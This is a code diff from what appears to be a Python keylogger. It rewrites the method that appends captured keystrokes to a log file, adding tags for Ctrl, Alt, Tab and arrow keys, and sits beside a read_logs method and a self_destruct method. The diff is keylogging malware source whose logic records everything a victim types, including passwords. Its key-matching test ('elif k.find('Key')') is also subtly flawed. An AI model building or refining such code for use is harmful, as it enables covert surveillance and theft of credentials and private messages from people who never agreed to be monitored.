@@ -34,24 +34,57 @@ def read_logs(self):
3434 with open (self .path , 'rt' ) as f :
3535 return f .read ()
3636
37- def write_file (self , keys ):
38- with open (self .path , 'a' ) as f :
39- for key in keys :
40- k = str (key ).replace ("'" , "" )
41- if k .find ('backspace' ) > 0 :
42- f .write (' [BACKSPACE] ' )
43- elif k .find ('enter' ) > 0 :
44- f .write ('\n ' )
45- # elif k.find('control') > 0: #doesn't currently work
46- # f.write(' [CTRL] ')
47- elif k .find ('shift' ) > 0 :
48- f .write (' [SHIFT] ' )
49- elif k .find ('space' ) > 0 :
50- f .write (' ' )
51- elif k .find ('caps_lock' ) > 0 :
52- f .write (' [CAPS_LOCK] ' )
53- elif k .find ('Key' ):
54- f .write (k )
37+ # def write_file(self, keys):
38+ # with open(self.path, 'a') as f:
39+ # for key in keys:
40+ # k = str(key).replace("'", "")
41+ # if k.find('backspace') > 0:
42+ # f.write(' [BACKSPACE] ')
43+ # elif k.find('enter') > 0:
44+ # f.write('\n')
45+ # # elif k.find('control') > 0: #doesn't currently work
46+ # # f.write(' [CTRL] ')
47+ # elif k.find('shift') > 0:
48+ # f.write(' [SHIFT] ')
49+ # elif k.find('space') > 0:
50+ # f.write(' ')
51+ # elif k.find('caps_lock') > 0:
52+ # f.write(' [CAPS_LOCK] ')
53+ # elif k.find('Key'):
54+ # f.write(k)
55+ def write_file (self , keys ):
56+ with open (self .path , 'a' ) as f :
57+ for key in keys :
58+ k = str (key ).replace ("'" , "" )
59+ if k .find ('backspace' ) > 0 :
60+ f .write (' [BACKSPACE] ' )
61+ elif k .find ('enter' ) > 0 :
62+ f .write ('\n ' )
63+ elif k .find ('shift' ) > 0 :
64+ f .write (' [SHIFT] ' )
65+ elif k .find ('space' ) > 0 :
66+ f .write (' ' )
67+ elif k .find ('caps_lock' ) > 0 :
68+ f .write (' [CAPS_LOCK] ' )
69+ elif k .find ('ctrl' ) > 0 :
70+ f .write (' [CTRL] ' )
71+ elif k .find ('alt' ) > 0 :
72+ f .write (' [ALT] ' )
73+ elif k .find ('tab' ) > 0 :
74+ f .write (' [TAB] ' )
75+ elif k .find ('left' ) > 0 :
76+ f .write (' [LEFT_ARROW] ' )
77+ elif k .find ('right' ) > 0 :
78+ f .write (' [RIGHT_ARROW] ' )
79+ elif k .find ('up' ) > 0 :
80+ f .write (' [UP_ARROW] ' )
81+ elif k .find ('down' ) > 0 :
82+ f .write (' [DOWN_ARROW] ' )
83+ elif k .find ('Key' ):
84+ f .write (' [OTHER_KEY: ' + k + '] ' )
85+ else :
86+ f .write (k )
87+
5588
5689 def self_destruct (self ):
5790 self .flag = 1
0 commit comments